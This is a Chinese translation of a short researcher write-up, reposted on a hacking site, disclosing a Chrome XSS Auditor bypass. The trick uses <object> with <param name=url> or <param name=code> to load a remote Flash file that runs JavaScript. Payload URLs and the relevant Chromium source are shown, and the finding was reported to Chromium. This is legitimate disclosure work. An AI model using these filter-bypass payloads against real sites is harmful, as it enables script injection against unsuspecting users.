译:Holic (知道创宇404安全实验室)

Hi there!

出于一些原因,我在读 Chromium 的源码的时候,意外地发现了一个绕过 xss 过滤器的方法。在这篇短文里,我将分享这一绕过方法。我已在此处进行了报告: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

绕过方法如下:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

当然这样也有效:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

直到我在 HTMLObjectElement.cpp 中找到相关代码,我才知道 Chrome 竟会支持这些参数,:

if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

<param name="src" value="//attacker/xss.swf"><param name="movie" value="//attacker/xss.swf"> 被 XSS 过滤器拦截了。但是我发现 codeurl 并没有被拦截。使用这一方法,我们可以加载 Flash 并执行 JavaScript。根据源代码的注释,看来 Chrome 出于兼容性的考虑支持这一特性。但至少我确认了它在 IE/Edge 上并不生效。我认为 Chrome 可以移除对它的支持 :)

此致。我写了用 <param> 标签绕过 XSS 过滤器的方法,感谢阅读!

声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。